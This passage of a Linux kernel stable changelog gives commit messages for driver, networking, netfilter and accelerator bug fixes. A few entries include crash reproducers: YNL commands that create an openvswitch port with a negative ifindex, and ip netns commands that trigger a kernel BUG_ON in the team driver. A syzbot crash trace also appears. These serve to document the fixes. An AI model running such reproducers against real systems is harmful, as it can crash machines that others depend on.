commit cee572756aa2cb46e959e9797ad4b730b78a050b ] There is some instablity with some eMMC modules on ROCK Pi 4 SBCs running in HS400 mode. This ends up resulting in some block errors after a while or after a "heavy" operation utilising the eMMC (e.g. resizing a filesystem). An example of these errors is as follows: [ 289.171014] mmc1: running CQE recovery [ 290.048972] mmc1: running CQE recovery [ 290.054834] mmc1: running CQE recovery [ 290.060817] mmc1: running CQE recovery [ 290.061337] blk_update_request: I/O error, dev mmcblk1, sector 1411072 op 0x1:(WRITE) flags 0x800 phys_seg 36 prio class 0 [ 290.061370] EXT4-fs warning (device mmcblk1p1): ext4_end_bio:348: I/O error 10 writing to inode 29547 starting block 176466) [ 290.061484] Buffer I/O error on device mmcblk1p1, logical block 172288 [ 290.061531] Buffer I/O error on device mmcblk1p1, logical block 172289 [ 290.061551] Buffer I/O error on device mmcblk1p1, logical block 172290 [ 290.061574] Buffer I/O error on device mmcblk1p1, logical block 172291 [ 290.061592] Buffer I/O error on device mmcblk1p1, logical block 172292 [ 290.061615] Buffer I/O error on device mmcblk1p1, logical block 172293 [ 290.061632] Buffer I/O error on device mmcblk1p1, logical block 172294 [ 290.061654] Buffer I/O error on device mmcblk1p1, logical block 172295 [ 290.061673] Buffer I/O error on device mmcblk1p1, logical block 172296 [ 290.061695] Buffer I/O error on device mmcblk1p1, logical block 172297 Disabling the Command Queue seems to stop the CQE recovery from running, but doesn't seem to improve the I/O errors. Until this can be investigated further, disable HS400 mode on the ROCK Pi 4 SBCs to at least stop I/O errors from occurring. While we are here, set the eMMC maximum clock frequency to 1.5MHz to follow the ROCK 4C+. Fixes: 1b5715c602fd ("arm64: dts: rockchip: add ROCK Pi 4 DTS support") Signed-off-by: Christopher Obbard Tested-By: Folker Schwesinger Link: https://lore.kernel.org/r/20230705144255.115299-2-chris.obbard@collabora.com Signed-off-by: Heiko Stuebner Signed-off-by: Sasha Levin commit 59de878d11859cc01ade34a4edb6fb86386ad138 Author: Dmitry Baryshkov Date: Tue Jun 13 16:12:24 2023 +0300 arm64: dts: qcom: qrb5165-rb5: fix thermal zone conflict [ Upstream commit 798f1df86e5709b7b6aedf493cc04c7fedbf544a ] The commit 3a786086c6f8 ("arm64: dts: qcom: Add missing "-thermal" suffix for thermal zones") renamed the thermal zone in the pm8150l.dtsi file to comply with the schema. However this resulted in a clash with the RB5 board file, which already contained the pm8150l-thermal zone for the on-board sensor. This resulted in the board file definition overriding the thermal zone defined in the PMIC include file (and thus the on-die PMIC temp alarm was not probing at all). Rename the thermal zone in qcom/qrb5165-rb5.dts to remove this override. Fixes: 3a786086c6f8 ("arm64: dts: qcom: Add missing "-thermal" suffix for thermal zones") Signed-off-by: Dmitry Baryshkov Reviewed-by: Konrad Dybcio Link: https://lore.kernel.org/r/20230613131224.666668-1-dmitry.baryshkov@linaro.org Signed-off-by: Bjorn Andersson Signed-off-by: Sasha Levin commit 28b634c9b3286d91faebb2b39cc306d219da0629 Author: Tony Lindgren Date: Wed Jun 14 10:18:23 2023 +0300 bus: ti-sysc: Flush posted write on enable before reset [ Upstream commit 34539b442b3bc7d5bf10164750302b60b91f18a7 ] The am335x devices started producing boot errors for resetting musb module in because of subtle timing changes: Unhandled fault: external abort on non-linefetch (0x1008) ... sysc_poll_reset_sysconfig from sysc_reset+0x109/0x12 sysc_reset from sysc_probe+0xa99/0xeb0 ... The fix is to flush posted write after enable before reset during probe. Note that some devices also need to specify the delay after enable with ti,sysc-delay-us, but this is not needed for musb on am335x based on my tests. Reported-by: kernelci.org bot Closes: https://storage.kernelci.org/next/master/next-20230614/arm/multi_v7_defconfig+CONFIG_THUMB2_KERNEL=y/gcc-10/lab-cip/baseline-beaglebone-black.html Fixes: 596e7955692b ("bus: ti-sysc: Add support for software reset") Signed-off-by: Tony Lindgren Signed-off-by: Sasha Levin commit 24f0d69da35d812b3a1104918014a29627140cb1 Author: Marcin Szycik Date: Wed Aug 16 12:34:05 2023 -0700 ice: Block switchdev mode when ADQ is active and vice versa [ Upstream commit 43d00e102d9ecbe2635d7e3f2e14d2e90183d6af ] ADQ and switchdev are not supported simultaneously. Enabling both at the same time can result in nullptr dereference. To prevent this, check if ADQ is active when changing devlink mode to switchdev mode, and check if switchdev is active when enabling ADQ. Fixes: fbc7b27af0f9 ("ice: enable ndo_setup_tc support for mqprio_qdisc") Signed-off-by: Marcin Szycik Reviewed-by: Przemek Kitszel Tested-by: Sujai Buvaneswaran Signed-off-by: Tony Nguyen Reviewed-by: Simon Horman Link: https://lore.kernel.org/r/20230816193405.1307580-1-anthony.l.nguyen@intel.com Signed-off-by: Jakub Kicinski Signed-off-by: Sasha Levin commit 7d25579fb9782310ce412d034ee9849440705f97 Author: Manish Chopra Date: Wed Aug 16 20:37:11 2023 +0530 qede: fix firmware halt over suspend and resume [ Upstream commit 2eb9625a3a32251ecea470cd576659a3a03b4e59 ] While performing certain power-off sequences, PCI drivers are called to suspend and resume their underlying devices through PCI PM (power management) interface. However this NIC hardware does not support PCI PM suspend/resume operations so system wide suspend/resume leads to bad MFW (management firmware) state which causes various follow-up errors in driver when communicating with the device/firmware afterwards. To fix this driver implements PCI PM suspend handler to indicate unsupported operation to the PCI subsystem explicitly, thus avoiding system to go into suspended/standby mode. Without this fix device/firmware does not recover unless system is power cycled. Fixes: 2950219d87b0 ("qede: Add basic network device support") Signed-off-by: Manish Chopra Signed-off-by: Alok Prasad Reviewed-by: John Meneghini Reviewed-by: Simon Horman Link: https://lore.kernel.org/r/20230816150711.59035-1-manishc@marvell.com Signed-off-by: Jakub Kicinski Signed-off-by: Sasha Levin commit e3636862f5595b3d2f02650f7b21d39043a34f3e Author: Eric Dumazet Date: Wed Aug 16 14:21:58 2023 +0000 net: do not allow gso_size to be set to GSO_BY_FRAGS [ Upstream commit b616be6b97688f2f2bd7c4a47ab32f27f94fb2a9 ] One missing check in virtio_net_hdr_to_skb() allowed syzbot to crash kernels again [1] Do not allow gso_size to be set to GSO_BY_FRAGS (0xffff), because this magic value is used by the kernel. [1] general protection fault, probably for non-canonical address 0xdffffc000000000e: 0000 [#1] PREEMPT SMP KASAN KASAN: null-ptr-deref in range [0x0000000000000070-0x0000000000000077] CPU: 0 PID: 5039 Comm: syz-executor401 Not tainted 6.5.0-rc5-next-20230809-syzkaller #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/26/2023 RIP: 0010:skb_segment+0x1a52/0x3ef0 net/core/skbuff.c:4500 Code: 00 00 00 e9 ab eb ff ff e8 6b 96 5d f9 48 8b 84 24 00 01 00 00 48 8d 78 70 48 b8 00 00 00 00 00 fc ff df 48 89 fa 48 c1 ea 03 <0f> b6 04 02 84 c0 74 08 3c 03 0f 8e ea 21 00 00 48 8b 84 24 00 01 RSP: 0018:ffffc90003d3f1c8 EFLAGS: 00010202 RAX: dffffc0000000000 RBX: 000000000001fffe RCX: 0000000000000000 RDX: 000000000000000e RSI: ffffffff882a3115 RDI: 0000000000000070 RBP: ffffc90003d3f378 R08: 0000000000000005 R09: 000000000000ffff R10: 000000000000ffff R11: 5ee4a93e456187d6 R12: 000000000001ffc6 R13: dffffc0000000000 R14: 0000000000000008 R15: 000000000000ffff FS: 00005555563f2380(0000) GS:ffff8880b9800000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000020020000 CR3: 000000001626d000 CR4: 00000000003506f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: udp6_ufo_fragment+0x9d2/0xd50 net/ipv6/udp_offload.c:109 ipv6_gso_segment+0x5c4/0x17b0 net/ipv6/ip6_offload.c:120 skb_mac_gso_segment+0x292/0x610 net/core/gso.c:53 __skb_gso_segment+0x339/0x710 net/core/gso.c:124 skb_gso_segment include/net/gso.h:83 [inline] validate_xmit_skb+0x3a5/0xf10 net/core/dev.c:3625 __dev_queue_xmit+0x8f0/0x3d60 net/core/dev.c:4329 dev_queue_xmit include/linux/netdevice.h:3082 [inline] packet_xmit+0x257/0x380 net/packet/af_packet.c:276 packet_snd net/packet/af_packet.c:3087 [inline] packet_sendmsg+0x24c7/0x5570 net/packet/af_packet.c:3119 sock_sendmsg_nosec net/socket.c:727 [inline] sock_sendmsg+0xd9/0x180 net/socket.c:750 ____sys_sendmsg+0x6ac/0x940 net/socket.c:2496 ___sys_sendmsg+0x135/0x1d0 net/socket.c:2550 __sys_sendmsg+0x117/0x1e0 net/socket.c:2579 do_syscall_x64 arch/x86/entry/common.c:50 [inline] do_syscall_64+0x38/0xb0 arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x63/0xcd RIP: 0033:0x7ff27cdb34d9 Fixes: 3953c46c3ac7 ("sk_buff: allow segmenting based on frag sizes") Reported-by: syzbot Signed-off-by: Eric Dumazet Cc: Xin Long Cc: "Michael S. Tsirkin" Cc: Jason Wang Reviewed-by: Willem de Bruijn Reviewed-by: Marcelo Ricardo Leitner Reviewed-by: Xuan Zhuo Link: https://lore.kernel.org/r/20230816142158.1779798-1-edumazet@google.com Signed-off-by: Jakub Kicinski Signed-off-by: Sasha Levin commit 07ec025d71257078a3c17af8d1eb04277ad1c37a Author: Abel Wu Date: Wed Aug 16 17:12:22 2023 +0800 sock: Fix misuse of sk_under_memory_pressure() [ Upstream commit 2d0c88e84e483982067a82073f6125490ddf3614 ] The status of global socket memory pressure is updated when: a) __sk_mem_raise_allocated(): enter: sk_memory_allocated(sk) > sysctl_mem[1] leave: sk_memory_allocated(sk) <= sysctl_mem[0] b) __sk_mem_reduce_allocated(): leave: sk_under_memory_pressure(sk) && sk_memory_allocated(sk) < sysctl_mem[0] So the conditions of leaving global pressure are inconstant, which may lead to the situation that one pressured net-memcg prevents the global pressure from being cleared when there is indeed no global pressure, thus the global constrains are still in effect unexpectedly on the other sockets. This patch fixes this by ignoring the net-memcg's pressure when deciding whether should leave global memory pressure. Fixes: e1aab161e013 ("socket: initial cgroup code.") Signed-off-by: Abel Wu Acked-by: Shakeel Butt Link: https://lore.kernel.org/r/20230816091226.1542-1-wuyun.abel@bytedance.com Signed-off-by: Jakub Kicinski Signed-off-by: Sasha Levin commit 7575a3f1443c72f8c0f1c80ccafc656dfd3ef225 Author: Edward Cree Date: Tue Aug 15 16:57:28 2023 +0100 sfc: don't fail probe if MAE/TC setup fails [ Upstream commit 54c9016eb8eda55952a195b071359cd13f50ed9b ] Existing comment in the source explains why we don't want efx_init_tc() failure to be fatal. Cited commit erroneously consolidated failure paths causing the probe to be failed in this case. Fixes: 7e056e2360d9 ("sfc: obtain device mac address based on firmware handle for ef100") Reviewed-by: Martin Habets Signed-off-by: Edward Cree Link: https://lore.kernel.org/r/aa7f589dd6028bd1ad49f0a85f37ab33c09b2b45.1692114888.git.ecree.xilinx@gmail.com Signed-off-by: Jakub Kicinski Signed-off-by: Sasha Levin commit 80b707ac5d0301db6910d2b4ba82845a91520347 Author: Edward Cree Date: Tue Aug 15 16:57:27 2023 +0100 sfc: don't unregister flow_indr if it was never registered [ Upstream commit fa165e1949976704500a442faeef8d9596faee76 ] In efx_init_tc(), move the setting of efx->tc->up after the flow_indr_dev_register() call, so that if it fails, efx_fini_tc() won't call flow_indr_dev_unregister(). Fixes: 5b2e12d51bd8 ("sfc: bind indirect blocks for TC offload on EF100") Suggested-by: Pieter Jansen van Vuuren Reviewed-by: Martin Habets Signed-off-by: Edward Cree Link: https://lore.kernel.org/r/a81284d7013aba74005277bd81104e4cfbea3f6f.1692114888.git.ecree.xilinx@gmail.com Signed-off-by: Jakub Kicinski Signed-off-by: Sasha Levin commit 612b57e85162724795cccf0ba50c465e4509c3fa Author: Edward Cree Date: Thu Jun 8 17:42:30 2023 +0100 sfc: add fallback action-set-lists for TC offload [ Upstream commit e16ca7fb9ffb0d51ddf01e450a1043ea65b5be3f ] When offloading a TC encap action, the action information for the hardware might not be "ready": if there's currently no neighbour entry available for the destination address, we can't construct the Ethernet header to prepend to the packet. In this case, we still offload the flow rule, but with its action-set-list ID pointing at a "fallback" action which simply delivers the packet to its default destination (as though no flow rule had matched), thus allowing software TC to handle it. Later, when we receive a neighbouring update that allows us to construct the encap header, the rule will become "ready" and we will update its action-set-list ID in hardware to point at the actual offloaded actions. This patch sets up these fallback ASLs, but does not yet use them. Reviewed-by: Pieter Jansen van Vuuren Signed-off-by: Edward Cree Reviewed-by: Simon Horman Signed-off-by: Jakub Kicinski Stable-dep-of: fa165e194997 ("sfc: don't unregister flow_indr if it was never registered") Signed-off-by: Sasha Levin commit ff4ad046da4e70850f22b4cb48cc9e0acf5f6572 Author: Alfred Lee Date: Mon Aug 14 17:13:23 2023 -0700 net: dsa: mv88e6xxx: Wait for EEPROM done before HW reset [ Upstream commit 23d775f12dcd23d052a4927195f15e970e27ab26 ] If the switch is reset during active EEPROM transactions, as in just after an SoC reset after power up, the I2C bus transaction may be cut short leaving the EEPROM internal I2C state machine in the wrong state. When the switch is reset again, the bad state machine state may result in data being read from the wrong memory location causing the switch to enter unexpected mode rendering it inoperational. Fixes: a3dcb3e7e70c ("net: dsa: mv88e6xxx: Wait for EEPROM done after HW reset") Signed-off-by: Alfred Lee Reviewed-by: Andrew Lunn Link: https://lore.kernel.org/r/20230815001323.24739-1-l00g33k@gmail.com Signed-off-by: Jakub Kicinski Signed-off-by: Sasha Levin commit 872feeecd08c81d212a52211d212897b8a857544 Author: Karol Herbst Date: Mon Aug 14 16:49:32 2023 +0200 drm/nouveau/disp: fix use-after-free in error handling of nouveau_connector_create [ Upstream commit 1b254b791d7b7dea6e8adc887fbbd51746d8bb27 ] We can't simply free the connector after calling drm_connector_init on it. We need to clean up the drm side first. It might not fix all regressions from commit 2b5d1c29f6c4 ("drm/nouveau/disp: PIOR DP uses GPIO for HPD, not PMGR AUX interrupts"), but at least it fixes a memory corruption in error handling related to that commit. Link: https://lore.kernel.org/lkml/20230806213107.GFZNARG6moWpFuSJ9W@fat_crate.local/ Fixes: 95983aea8003 ("drm/nouveau/disp: add connector class") Signed-off-by: Karol Herbst Reviewed-by: Lyude Paul Link: https://patchwork.freedesktop.org/patch/msgid/20230814144933.3956959-1-kherbst@redhat.com Signed-off-by: Sasha Levin commit 9a5d622b54dc64c89cbf5716ce700a71216b7b8f Author: Dragos Tatulea Date: Tue Aug 1 20:41:03 2023 +0300 net/mlx5e: XDP, Fix fifo overrun on XDP_REDIRECT [ Upstream commit 34a79876d9f77e971115236bcf7b5d14a8ecf542 ] Before this fix, running high rate traffic through XDP_REDIRECT with multibuf could overrun the fifo used to release the xdp frames after tx completion. This resulted in corrupted data being consumed on the free side. The culplirt was a miscalculation of the fifo size: the maximum ratio between fifo entries / data segments was incorrect. This ratio serves to calculate the max fifo size for a full sq where each packet uses the worst case number of entries in the fifo. This patch fixes the formula and names the constant. It also makes sure that future values will use a power of 2 number of entries for the fifo mask to work. Signed-off-by: Dragos Tatulea Fixes: 3f734b8c594b ("net/mlx5e: XDP, Use multiple single-entry objects in xdpi_fifo") Reviewed-by: Tariq Toukan Signed-off-by: Saeed Mahameed Signed-off-by: Sasha Levin commit 8896f8498538608699d316c2523726d6c05c8fe7 Author: Andrii Staikov Date: Wed Aug 2 09:47:32 2023 +0200 i40e: fix misleading debug logs [ Upstream commit 2f2beb8874cb0844e84ad26e990f05f4f13ff63f ] Change "write" into the actual "read" word. Change parameters description. Fixes: 7073f46e443e ("i40e: Add AQ commands for NVM Update for X722") Signed-off-by: Aleksandr Loktionov Signed-off-by: Andrii Staikov Signed-off-by: Tony Nguyen Signed-off-by: Sasha Levin commit 62b46d6010f37b676e10adae4afb516462713842 Author: Piotr Gardocki Date: Mon Aug 7 16:46:04 2023 +0200 iavf: fix FDIR rule fields masks validation [ Upstream commit 751969e5b1196821ef78f0aa664a8a97c92c9057 ] Return an error if a field's mask is neither full nor empty. When a mask is only partial the field is not being used for rule programming but it gives a wrong impression it is used. Fix by returning an error on any partial mask to make it clear they are not supported. The ip_ver assignment is moved earlier in code to allow using it in iavf_validate_fdir_fltr_masks. Fixes: 527691bf0682 ("iavf: Support IPv4 Flow Director filters") Fixes: e90cbc257a6f ("iavf: Support IPv6 Flow Director filters") Signed-off-by: Piotr Gardocki Tested-by: Rafal Romanowski Signed-off-by: Tony Nguyen Signed-off-by: Sasha Levin commit 881faff9e548a7ddfb11595be7c1c649217d27db Author: Jakub Kicinski Date: Mon Aug 14 13:38:40 2023 -0700 net: openvswitch: reject negative ifindex [ Upstream commit a552bfa16bab4ce901ee721346a28c4e483f4066 ] Recent changes in net-next (commit 759ab1edb56c ("net: store netdevs in an xarray")) refactored the handling of pre-assigned ifindexes and let syzbot surface a latent problem in ovs. ovs does not validate ifindex, making it possible to create netdev ports with negative ifindex values. It's easy to repro with YNL: $ ./cli.py --spec netlink/specs/ovs_datapath.yaml \ --do new \ --json '{"upcall-pid": 1, "name":"my-dp"}' $ ./cli.py --spec netlink/specs/ovs_vport.yaml \ --do new \ --json '{"upcall-pid": "00000001", "name": "some-port0", "dp-ifindex":3,"ifindex":4294901760,"type":2}' $ ip link show -65536: some-port0: mtu 1500 qdisc noop state DOWN mode DEFAULT group default qlen 1000 link/ether 7a:48:21:ad:0b:fb brd ff:ff:ff:ff:ff:ff ... Validate the inputs. Now the second command correctly returns: $ ./cli.py --spec netlink/specs/ovs_vport.yaml \ --do new \ --json '{"upcall-pid": "00000001", "name": "some-port0", "dp-ifindex":3,"ifindex":4294901760,"type":2}' lib.ynl.NlError: Netlink error: Numerical result out of range nl_len = 108 (92) nl_flags = 0x300 nl_type = 2 error: -34 extack: {'msg': 'integer out of range', 'unknown': [[type:4 len:36] b'\x0c\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x03\x00\xff\xff\xff\x7f\x00\x00\x00\x00\x08\x00\x01\x00\x08\x00\x00\x00'], 'bad-attr': '.ifindex'} Accept 0 since it used to be silently ignored. Fixes: 54c4ef34c4b6 ("openvswitch: allow specifying ifindex of new interfaces") Reported-by: syzbot+7456b5dcf65111553320@syzkaller.appspotmail.com Reviewed-by: Leon Romanovsky Reviewed-by: Aaron Conole Link: https://lore.kernel.org/r/20230814203840.2908710-1-kuba@kernel.org Signed-off-by: Jakub Kicinski Signed-off-by: Sasha Levin commit 1ac37294f952410979ef3935e1a27a27ba55d95c Author: Ziyang Xuan Date: Mon Aug 14 11:23:01 2023 +0800 team: Fix incorrect deletion of ETH_P_8021AD protocol vid from slaves [ Upstream commit dafcbce07136d799edc4c67f04f9fd69ff1eac1f ] Similar to commit 01f4fd270870 ("bonding: Fix incorrect deletion of ETH_P_8021AD protocol vid from slaves"), we can trigger BUG_ON(!vlan_info) in unregister_vlan_dev() with the following testcase: # ip netns add ns1 # ip netns exec ns1 ip link add team1 type team # ip netns exec ns1 ip link add team_slave type veth peer veth2 # ip netns exec ns1 ip link set team_slave master team1 # ip netns exec ns1 ip link add link team_slave name team_slave.10 type vlan id 10 protocol 802.1ad # ip netns exec ns1 ip link add link team1 name team1.10 type vlan id 10 protocol 802.1ad # ip netns exec ns1 ip link set team_slave nomaster # ip netns del ns1 Add S-VLAN tag related features support to team driver. So the team driver will always propagate the VLAN info to its slaves. Fixes: 8ad227ff89a7 ("net: vlan: add 802.1ad support") Suggested-by: Ido Schimmel Signed-off-by: Ziyang Xuan Reviewed-by: Simon Horman Link: https://lore.kernel.org/r/20230814032301.2804971-1-william.xuanziyang@huawei.com Signed-off-by: Jakub Kicinski Signed-off-by: Sasha Levin commit 6095d0c396a9d2ab6f68fb8f8818973d6b0bd348 Author: Justin Chen Date: Sat Aug 12 21:41:47 2023 -0700 net: phy: broadcom: stub c45 read/write for 54810 [ Upstream commit 096516d092d54604d590827d05b1022c8f326639 ] The 54810 does not support c45. The mmd_phy_indirect accesses return arbirtary values leading to odd behavior like saying it supports EEE when it doesn't. We also see that reading/writing these non-existent MMD registers leads to phy instability in some cases. Fixes: b14995ac2527 ("net: phy: broadcom: Add BCM54810 PHY entry") Signed-off-by: Justin Chen Reviewed-by: Florian Fainelli Link: https://lore.kernel.org/r/1691901708-28650-1-git-send-email-justin.chen@broadcom.com Signed-off-by: Jakub Kicinski Signed-off-by: Sasha Levin commit 8e249f8ffe16f113dae9f22af1015fb3e74c571c Author: Pablo Neira Ayuso Date: Tue Aug 15 15:39:02 2023 +0200 netfilter: nft_dynset: disallow object maps [ Upstream commit 23185c6aed1ffb8fc44087880ba2767aba493779 ] Do not allow to insert elements from datapath to objects maps. Fixes: 8aeff920dcc9 ("netfilter: nf_tables: add stateful object reference to set elements") Signed-off-by: Pablo Neira Ayuso Signed-off-by: Florian Westphal Signed-off-by: Sasha Levin commit c26cc57f41c655b2037520472ef2e92645bf16eb Author: Pablo Neira Ayuso Date: Tue Aug 15 15:39:01 2023 +0200 netfilter: nf_tables: GC transaction race with netns dismantle [ Upstream commit 02c6c24402bf1c1e986899c14ba22a10b510916b ] Use maybe_get_net() since GC workqueue might race with netns exit path. Fixes: 5f68718b34a5 ("netfilter: nf_tables: GC transaction API to avoid race with control plane") Signed-off-by: Pablo Neira Ayuso Signed-off-by: Florian Westphal Signed-off-by: Sasha Levin commit 3bdf400a1ad166274e85fa537f8a993a4553e36d Author: Pablo Neira Ayuso Date: Tue Aug 15 15:39:00 2023 +0200 netfilter: nf_tables: fix GC transaction races with netns and netlink event exit path [ Upstream commit 6a33d8b73dfac0a41f3877894b38082bd0c9a5bc ] Netlink event path is missing a synchronization point with GC transactions. Add GC sequence number update to netns release path and netlink event path, any GC transaction losing race will be discarded. Fixes: 5f68718b34a5 ("netfilter: nf_tables: GC transaction API to avoid race with control plane") Signed-off-by: Pablo Neira Ayuso Signed-off-by: Florian Westphal Signed-off-by: Sasha Levin commit 6650bebaa564a183c9358d0da9571f0e4138e7ec Author: Sishuai Gong Date: Thu Aug 10 15:12:42 2023 -0400 ipvs: fix racy memcpy in proc_do_sync_threshold [ Upstream commit 5310760af1d4fbea1452bfc77db5f9a680f7ae47 ] When two threads run proc_do_sync_threshold() in parallel, data races could happen between the two memcpy(): Thread-1 Thread-2 memcpy(val, valp, sizeof(val)); memcpy(valp, val, sizeof(val)); This race might mess up the (struct ctl_table *) table->data, so we add a mutex lock to serialize them. Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") Link: https://lore.kernel.org/netdev/B6988E90-0A1E-4B85-BF26-2DAF6D482433@gmail.com/ Signed-off-by: Sishuai Gong Acked-by: Simon Horman Acked-by: Julian Anastasov Signed-off-by: Florian Westphal Signed-off-by: Sasha Levin commit c050b4c998f1bcef6639139f5c910f903b58741d Author: Xin Long Date: Tue Aug 15 14:08:47 2023 -0400 netfilter: set default timeout to 3 secs for sctp shutdown send and recv state [ Upstream commit 9bfab6d23a2865966a4f89a96536fbf23f83bc8c ] In SCTP protocol, it is using the same timer (T2 timer) for SHUTDOWN and SHUTDOWN_ACK retransmission. However in sctp conntrack the default timeout value for SCTP_CONNTRACK_SHUTDOWN_ACK_SENT state is 3 secs while it's 300 msecs for SCTP_CONNTRACK_SHUTDOWN_SEND/RECV state. As Paolo Valerio noticed, this might cause unwanted expiration of the ct entry. In my test, with 1s tc netem delay set on the NAT path, after the SHUTDOWN is sent, the sctp ct entry enters SCTP_CONNTRACK_SHUTDOWN_SEND state. However, due to 300ms (too short) delay, when the SHUTDOWN_ACK is sent back from the peer, the sctp ct entry has expired and been deleted, and then the SHUTDOWN_ACK has to be dropped. Also, it is confusing these two sysctl options always show 0 due to all timeout values using sec as unit: net.netfilter.nf_conntrack_sctp_timeout_shutdown_recd = 0 net.netfilter.nf_conntrack_sctp_timeout_shutdown_sent = 0 This patch fixes it by also using 3 secs for sctp shutdown send and recv state in sctp conntrack, which is also RTO.initial value in SCTP protocol. Note that the very short time value for SCTP_CONNTRACK_SHUTDOWN_SEND/RECV was probably used for a rare scenario where SHUTDOWN is sent on 1st path but SHUTDOWN_ACK is replied on 2nd path, then a new connection started immediately on 1st path. So this patch also moves from SHUTDOWN_SEND/RECV to CLOSE when receiving INIT in the ORIGINAL direction. Fixes: 9fb9cbb1082d ("[NETFILTER]: Add nf_conntrack subsystem.") Reported-by: Paolo Valerio Signed-off-by: Xin Long Reviewed-by: Simon Horman Signed-off-by: Florian Westphal Signed-off-by: Sasha Levin commit 156369a702c33ad5434a19c3a689bfb836d4e0b8 Author: Florian Westphal Date: Sat Aug 12 20:03:57 2023 +0200 netfilter: nf_tables: don't fail inserts if duplicate has expired [ Upstream commit 7845914f45f066497ac75b30c50dbc735e84e884 ] nftables selftests fail: run-tests.sh testcases/sets/0044interval_overlap_0 Expected: 0-2 . 0-3, got: W: [FAILED] ./testcases/sets/0044interval_overlap_0: got 1 Insertion must ignore duplicate but expired entries. Moreover, there is a strange asymmetry in nft_pipapo_activate: It refetches the current element, whereas the other ->activate callbacks (bitmap, hash, rhash, rbtree) use elem->priv. Same for .remove: other set implementations take elem->priv, nft_pipapo_remove fetches elem->priv, then does a relookup, remove this. I suspect this was the reason for the change that prompted the removal of the expired check in pipapo_get() in the first place, but skipping exired elements there makes no sense to me, this helper is used for normal get requests, insertions (duplicate check) and deactivate callback. In first two cases expired elements must be skipped. For ->deactivate(), this gets called for DELSETELEM, so it seems to me that expired elements should be skipped as well, i.e. delete request should fail with -ENOENT error. Fixes: 24138933b97b ("netfilter: nf_tables: don't skip expired elements during walk") Signed-off-by: Florian Westphal Signed-off-by: Sasha Levin commit 83ff16e449a675e215125d97a2c4a7f097d291d0 Author: Florian Westphal Date: Sat Aug 12 13:05:16 2023 +0200 netfilter: nf_tables: deactivate catchall elements in next generation [ Upstream commit 90e5b3462efa37b8bba82d7c4e63683856e188af ] When flushing, individual set elements are disabled in the next generation via the ->flush callback. Catchall elements are not disabled. This is incorrect and may lead to double-deactivations of catchall elements which then results in memory leaks: WARNING: CPU: 1 PID: 3300 at include/net/netfilter/nf_tables.h:1172 nft_map_deactivate+0x549/0x730 CPU: 1 PID: 3300 Comm: nft Not tainted 6.5.0-rc5+ #60 RIP: 0010:nft_map_deactivate+0x549/0x730 [..] ? nft_map_deactivate+0x549/0x730 nf_tables_delset+0xb66/0xeb0 (the warn is due to nft_use_dec() detecting underflow). Fixes: aaa31047a6d2 ("netfilter: nftables: add catch-all set element support") Reported-by: lonial con Signed-off-by: Florian Westphal Signed-off-by: Sasha Levin commit a8f303445a5e8a390385f0bd390c837f4049fd0a Author: Florian Westphal Date: Tue Aug 8 20:40:17 2023 +0200 netfilter: nf_tables: fix false-positive lockdep splat [ Upstream commit b9f052dc68f69dac89fe1e24693354c033daa091 ] ->abort invocation may cause splat on debug kernels: WARNING: suspicious RCU usage net/netfilter/nft_set_pipapo.c:1697 suspicious rcu_dereference_check() usage! [..] rcu_scheduler_active = 2, debug_locks = 1 1 lock held by nft/133554: [..] (nft_net->commit_mutex){+.+.}-{3:3}, at: nf_tables_valid_genid [..] lockdep_rcu_suspicious+0x1ad/0x260 nft_pipapo_abort+0x145/0x180 __nf_tables_abort+0x5359/0x63d0 nf_tables_abort+0x24/0x40 nfnetlink_rcv+0x1a0a/0x22c0 netlink_unicast+0x73c/0x900 netlink_sendmsg+0x7f0/0xc20 ____sys_sendmsg+0x48d/0x760 Transaction mutex is held, so parallel updates are not possible. Switch to _protected and check mutex is held for lockdep enabled builds. Fixes: 212ed75dc5fb ("netfilter: nf_tables: integrate pipapo into commit protocol") Signed-off-by: Florian Westphal Signed-off-by: Sasha Levin commit d410a96e5cb8c1ec7049c83f2edcd8bbfaf5d9b3 Author: Dan Carpenter Date: Thu Aug 10 15:23:06 2023 +0300 accel/qaic: Clean up integer overflow checking in map_user_pages() [ Upstream commit 96d3c1cadedb6ae2e8965e19cd12caa244afbd9c ] The encode_dma() function has some validation on in_trans->size but it would be more clear to move those checks to find_and_map_user_pages(). The encode_dma() had two checks: if (in_trans->addr + in_trans->size < in_trans->addr || !in_trans->size) return -EINVAL; The in_trans->addr variable is the starting address. The in_trans->size variable is the total size of the transfer. The transfer can occur in parts and the resources->xferred_dma_size tracks how many bytes we have already transferred. This patch introduces a new variable "remaining" which represents the amount we want to transfer (in_trans->size) minus the amount we have already transferred (resources->xferred_dma_size). I have modified the check for if in_trans->size is zero to instead check if in_trans->size is less than resources->xferred_dma_size. If we have already transferred more bytes than in_trans->size then there are negative bytes remaining which doesn't make sense. If there are zero bytes remaining to be copied, just return success. The check in encode_dma() checked that "addr + size" could not overflow and barring a driver bug that should work, but it's easier to check if we do this in parts. First check that "in_trans->addr + resources->xferred_dma_size" is safe. Then check that "xfer_start_addr + remaining" is safe. My final concern was that we are dealing with u64 values but on 32bit systems the kmalloc() function will truncate the sizes to 32 bits. So I calculated "total = in_trans->size + offset_in_page(xfer_start_addr);" and returned -EINVAL if it were >= SIZE_MAX. This will not affect 64bit systems. Fixes: 129776ac2e38 ("accel/qaic: Add control path") Signed-off-by: Dan Carpenter Reviewed-by: Jeffrey Hugo Reviewed-by: Carl Vanderlip Signed-off-by: Jeffrey Hugo Link: https://patchwork.freedesktop.org/patch/msgid/24d3348b-25ac-4c1b-b171-9dae7c43e4e0@moroto.mountain Signed-off-by: Sasha Levin commit df45c3e46cdb41f486eecb4277fbcc4c1ffbf9be Author: Pranjal Ramajor Asha Kanojiya Date: Wed Aug 2 08:59:37 2023 -0600 accel/qaic: Fix slicing memory leak [ Upstream commit 2d956177b7c96e62fac762a3b7da4318cde27a73 ] The temporary buffer storing slicing configuration data from user is only freed on error. This is a memory leak. Free the buffer unconditionally. Fixes: ff13be830333 ("accel/qaic: Add datapath") Signed-off-by: Pranjal Ramajor Asha Kanojiya Reviewed-by: Carl Vanderlip Reviewed-by: Jeffrey Hugo Signed-off-by: Jeffrey Hugo Link: 